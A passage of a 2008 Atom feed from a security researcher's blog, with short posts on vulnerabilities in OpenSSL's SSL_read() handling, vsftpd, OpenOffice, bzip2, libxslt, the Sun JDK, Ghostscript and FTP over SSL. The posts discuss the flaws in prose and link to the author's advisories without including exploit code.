class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2889632342223075271?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2889632342223075271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2889632342223075271' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2889632342223075271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2889632342223075271'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/07/buffer-overflow-in-libxslt.html' title='Buffer overflow in libxslt'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2650164989566460607</id><published>2008-07-29T22:06:00.001-07:00</published><updated>2008-07-29T22:42:59.347-07:00</updated><title type='text'>On FTP, SSL and broken interfaces</title><content type='html'>Oh what a fun day I just had piecing together a few SSL changes for vsftpd!&lt;br /&gt;&lt;br /&gt;Let's start with a brief background on SSL. SSL provides not just secrecy but also integrity - an attacker cannot change your data stream in flight. This includes obviously changing data in the stream, and less obviously, truncating the stream. The interesting attack to truncate the stream is to fake a TCP packet with FIN set. Truncated data is still an integrity violation and could have interesting consequences depending on what is being transferred. Anyway, as of SSLv3 and newer, the protocol protects against this. So, we're all good right?&lt;br /&gt;&lt;br /&gt;Well, no, not really. Let's look at how SSL_read() indicates a problem. We all know how read() behaves, of course. It returns 0 on a healthy EOF. SSL_read() does the same on a healthy, cryptographically guaranteed EOF. But what does it do it if the attacker forces the TCP stream to close with a faked FIN? It also returns 0. That's right - no indication of any problem at the API level. If you want to check what is going on, you need to either check the SSL error code, in case there is one, or call SSL_get_shutdown(). (This double option in itself leads to confusion and random variance in code, which isn't great but that's another topic).&lt;br /&gt;&lt;br /&gt;The OpenSSL API for SSL_read() is broken. You can phrase why in various ways: it violates the principle of least surprise. Or, perhaps best said, it provides an API that is easy to abuse. Good, secure APIs are hard to abuse. Contrast strcat() with string::operator+=() for the classic example.&lt;br /&gt;&lt;br /&gt;A quick survey of popular FTP servers reveals that they universally fail to check for this condition when accepting an SSL secured upload. vsftpd v2.0.7 now optionally checks for this condition but it is off by default! Why? The majority of FTP clients have an interoperability bug in that they don't SSL_shutdown() their uploads. It's a direct knock-on from the SSL_read() broken API. If it returned error on forced connection shutdown, then FTP servers wouldn't have ever tolerated buggy clients, and clients would have been forced to correctly shutdown their connections.&lt;br /&gt;&lt;br /&gt;Thanks to Tim Kosse of FileZilla fame for putting me on to this area by checking for secure connection shutdown in the latest version of FileZilla, exposing an interoperability bug in vsftpd's SSL downloads.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2650164989566460607?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2650164989566460607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2650164989566460607' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2650164989566460607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2650164989566460607'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/07/on-ftp-ssl-and-broken-interfaces.html' title='On FTP, SSL and broken interfaces'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1692696835993420332</id><published>2008-07-14T21:58:00.000-07:00</published><updated>2008-07-14T22:02:50.042-07:00</updated><title type='text'>Lame OpenOffice PCX crash</title><content type='html'>Sorry for the lame vuln. It's something I was playing with over a year ago and I just happened to notice it got fixed. I forget what the original deal was. I'm only posting because this blog serves as an RSS feed for the &lt;a href="http://scary.beasts.org"&gt;scary.beasts.org&lt;/a&gt; main vuln list.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-006.html"&gt;http://scary.beasts.org/security/CESA-2008-006.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A more interesting OpenOffice observation is in the works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1692696835993420332?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1692696835993420332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1692696835993420332' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1692696835993420332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1692696835993420332'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/07/lame-openoffice-pcx-crash.html' title='Lame OpenOffice PCX crash'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3877417436836001862</id><published>2008-07-13T21:53:00.000-07:00</published><updated>2008-07-13T21:58:42.108-07:00</updated><title type='text'>Fancy an exploitation challenge?</title><content type='html'>So you think you're 1337? Check out these just released details of a buffer overflow in bzip2:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-005.html"&gt;http://scary.beasts.org/security/CESA-2008-005.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It looks pretty harmless, and it probably is... but I'd love for it not to be... if you think you have what it takes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3877417436836001862?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3877417436836001862/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3877417436836001862' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3877417436836001862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3877417436836001862'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/07/fancy-exploitation-challenge.html' title='Fancy an exploitation challenge?'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2369976898555368844</id><published>2008-07-11T20:16:00.000-07:00</published><updated>2008-07-11T20:24:46.977-07:00</updated><title type='text'>iPhone Safari update fixes old libxslt version</title><content type='html'>This story is both interesting and boring at the same time.&lt;br /&gt;&lt;br /&gt;Boring because I didn't find anything new -- I just noted the applicability of something old to Apple's Safari. I've made sure to credit the finder of the old bug that applies to Safari; unfortunately not everyone in the security industry credits the original finder of the bug when noting it applies to a new context.&lt;br /&gt;&lt;br /&gt;The story is interesting because it illustrates the ongoing challenge of depending upon complex open source libraries. As these move forward, you need a good way of keeping on top. The public nature of their bug repositories are a challenge; frequently, some user will log a "crash" bug which in fact has serious security consequences. These consequences may not immediately be realized and called out, in the bug report, change log or release announcement.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-004.html"&gt;http://scary.beasts.org/security/CESA-2008-004.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lists.apple.com/archives/security-announce/2008/Jul/msg00001.html"&gt;http://lists.apple.com/archives/security-announce/2008/Jul/msg00001.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2369976898555368844?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2369976898555368844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2369976898555368844' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2369976898555368844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2369976898555368844'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/07/iphone-safari-update-fixes-old-libxslt.html' title='iPhone Safari update fixes old libxslt version'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-5773161762939326584</id><published>2008-03-05T16:48:00.000-08:00</published><updated>2008-03-05T17:40:21.840-08:00</updated><title type='text'>Sun JDK image parsing vulnerabilities</title><content type='html'>The technical details for this pair of vulnerabilities can be found here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2007-005.html"&gt;http://scary.beasts.org/security/CESA-2007-005.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These vulnerabilities follow on from my original advisory in this area:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2006-004.html"&gt;http://scary.beasts.org/security/CESA-2006-004.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There are lots of interesting sub-stories here.&lt;br /&gt;&lt;br /&gt;The first is that exploitation of the heap buffer overflows (in both the old and new advisories) relies on that fact that the JDK environment has a SEGV handler installed. These particular heap overflows will always try and perform massively long copies, therefore faulting as part of the copy. This would be a DoS only apart from the SEGV handler. As part of trying to dump out a good crash report, it can access trashed memory and become an exploitable condition.&lt;br /&gt;&lt;br /&gt;The second is that this is a very dangerous class of attack. Most previous JDK attacks apply to running untrusted applets. These bugs, however, trigger also in server-side environments where JPEG parsing is performed. Direct, data-driven compromise of servers is quite unfortunate, especially in a runtime environment where memory corruptions can't usually occur.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-5773161762939326584?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/5773161762939326584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=5773161762939326584' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5773161762939326584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/5773161762939326584'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/03/sun-jdk-image-parsing-vulnerabilities.html' title='Sun JDK image parsing vulnerabilities'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4923584571937496843</id><published>2008-02-27T08:39:00.000-08:00</published><updated>2008-02-27T12:47:21.564-08:00</updated><title type='text'>Buffer overflow in Ghostscript</title><content type='html'>Given the huge amount of attention given to xpdf (and derivatives), it is surprising that not as much attention has been given to Ghostscript. Most Linux desktops will render both PDF and PS files directly from the web.&lt;br /&gt;&lt;br /&gt;The attack surface of Ghostscript is huge. Not only is it a Turing Complete language[*], but it has a rich set of runtime operators and APIs. Many of these operators and APIs stray into areas of functionality that might be integer overflow prone: decompressors, image parsers, graphics rending, canvas handing, etc.&lt;br /&gt;&lt;br /&gt;I've placed technical details of a buffer overflow at:&lt;br /&gt;&lt;a href="http://scary.beasts.org/security/CESA-2008-001.html"&gt;http://scary.beasts.org/security/CESA-2008-001.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[*] Client-side execution of such languages has never gone particularly well from a security perspective. Think Java applets, or Javascript.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4923584571937496843?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4923584571937496843/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4923584571937496843' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4923584571937496843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4923584571937496843'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/02/buffer-overflow-in-ghostscript.html' title='Buffer overflow in Ghostscript'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-2604006323652414995</id><published>2008-02-13T15:44:00.000-08:00</published><updated>2008-02-13T15:51:12.388-08:00</updated><title type='text'>Your FTP / SSL solution is really secure, right?</title><content type='html'>Well no, not really. Almost all real-world usage of FTP over SSL has problems whereby the FTP data connection can be stolen (resulting in stolen downloads or forged uploads). The problem is mainly with FTP clients - if you require end users to generate their own SSL certs and manually enable sending them to the server, you've already lost on usability grounds.&lt;br /&gt;&lt;br /&gt;Full technical details at &lt;a href="http://scary.beasts.org/security/CESA-2008-002.html"&gt;http://scary.beasts.org/security/CESA-2008-002.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-2604006323652414995?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/2604006323652414995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=2604006323652414995' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2604006323652414995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/2604006323652414995'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/02/your-ftp-ssl-solution-is-really-secure.html' title='Your FTP / SSL solution is really secure, right?'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6887671852696027552</id><published>2008-02-02T04:51:00.000-08:00</published><updated>2008-02-02T05:57:42.622-08:00</updated><title type='text'>Sun JDK6 XXE protection broken</title><content type='html'>Sun released JDK6u4 which fixes a possibly nasty issue where one of the XXE protection methods for the default XML parser was broken.&lt;br /&gt;&lt;br /&gt;My advisory is at &lt;a href="http://scary.beasts.org/security/CESA-2007-002.html"&gt;http://scary.beasts.org/security/CESA-2007-002.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sun's advisory is at &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-66-231246-1"&gt;http://sunsolve.sun.com/search/document.do?assetkey=1-66-231246-1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Secunia picked it up at &lt;a href="http://secunia.com/advisories/28746/"&gt;http://secunia.com/advisories/28746/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Web services are obviously a key concern here. I haven't checked to see how the common web service frameworks do XXE protection. It's possible to ban DTDs outright, but I'd suspect more common would be to use the broken parser property http://xml.org/sax/features/external-general-entities.&lt;br /&gt;&lt;br /&gt;I'd love feedback on specific affected technologies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6887671852696027552?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6887671852696027552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6887671852696027552' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6887671852696027552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6887671852696027552'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2008/02/sun-jdk6-xxe-protection-broken.html' title='Sun JDK6 XXE protection broken'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry></feed>
